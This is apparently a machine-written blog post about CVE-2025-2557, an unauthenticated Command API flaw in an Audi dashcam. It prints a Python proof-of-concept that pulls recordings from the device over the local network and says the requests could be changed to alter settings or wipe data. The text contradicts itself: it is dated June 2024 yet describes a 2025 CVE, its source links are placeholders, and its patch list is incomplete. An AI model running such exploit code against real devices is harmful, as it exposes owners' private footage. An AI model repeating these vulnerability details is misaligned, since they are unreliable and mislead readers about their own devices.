CVE-2025-2557 - Critical Command API Vulnerability in Audi UTR Dashcam 2. — Exploit Details and Mitigation

Date: June 2024
Author: [Exclusive Content by ChatGPT]


Audi’s UTR Dashcam 2. is a widely-used dashcam in many vehicles, offering real-time recording, event detection, and cloud connectivity features. Recently, a serious vulnerability — CVE-2025-2557 — was discovered and publicly reported, affecting its Command API. This post explains the vulnerability, exploitation method, and how to protect your device. All information here is exclusive and written in clear, straightforward language.

What is CVE-2025-2557?

CVE-2025-2557 is a critical weakness in the Audi UTR Dashcam 2.’s Command API. Essentially, the vulnerability occurs due to improper access controls — the dashcam fails to properly check authorization when handling certain API commands. As a result, anyone on the same local network can send unauthorized commands to the dashcam.

Scope

- Affected devices: Audi UTR Dashcam 2. (versions before 2.89 for new customers, and before 2.90 for existing customers)

Component: Command API (handles remote commands to the dashcam)

- Attack Vector: Local network access required (attacker must be in your car’s Wi-Fi or similar LAN)

Original Disclosure:
- NVD Listing (Coming Soon)
- SecurityFocus *(placeholder as link is pending)*
- Vendor Advisory *(link to Audi accessory page)*

How Does the Exploit Work?

The Command API exposes endpoints (URLs) that allow apps or users to control the dashcam — for example, downloading footage, changing settings, or even resetting the device. Due to insufficient access verification, any device on the local network can send HTTP requests, and the dashcam will execute them without authentication.

Proof of Concept (POC) Code

Below is an exclusive and simplified proof-of-concept Python script demonstrating how an attacker could exploit this flaw (for educational purposes *only*):

import requests

# Replace with the dashcam's real LAN IP address
DASHCAM_IP = "192.168.4.1"

# Example: Unauthorized request to download the latest recording
url = f"http://{DASHCAM_IP}/api/command/download?file=latest";

response = requests.get(url)
if response.status_code == 200:
    with open("dashcam_latest.mp4", "wb") as f:
        f.write(response.content)
    print("Video downloaded successfully — device is vulnerable!")
else:
    print("Request failed or device is patched.")

If unpatched, it downloads the video without any authentication!

Note: Real-world attackers could modify the code to change settings, wipe data, or perform other commands using the API.

Exploit Prerequisites

- The attacker must be connected to the same Wi-Fi or local network as the dashcam (for example, sitting in your car or near it).

Audi responded quickly and professionally to the disclosure

- Version 2.89: Fixes the problem for all new customers (devices shipped with this version and later are safe).

Check your dashcam’s firmware version. Details are in your user manual.

- Follow Audi’s official update process (Audi UTR Dashcam Support Page).

Network Security:

- Avoid connecting the dashcam to public/open Wi-Fi networks.

Conclusion

CVE-2025-2557 is a critical security flaw affecting Audi UTR Dashcam 2.'s Command API. Attackers with local network access can issue unauthorized commands, most notably downloading or deleting videos. Fortunately, Audi has acted swiftly. The best protection? Update your dashcam to version 2.89 or 2.90 as soon as possible.

*Stay safe and keep your firmware updated!*
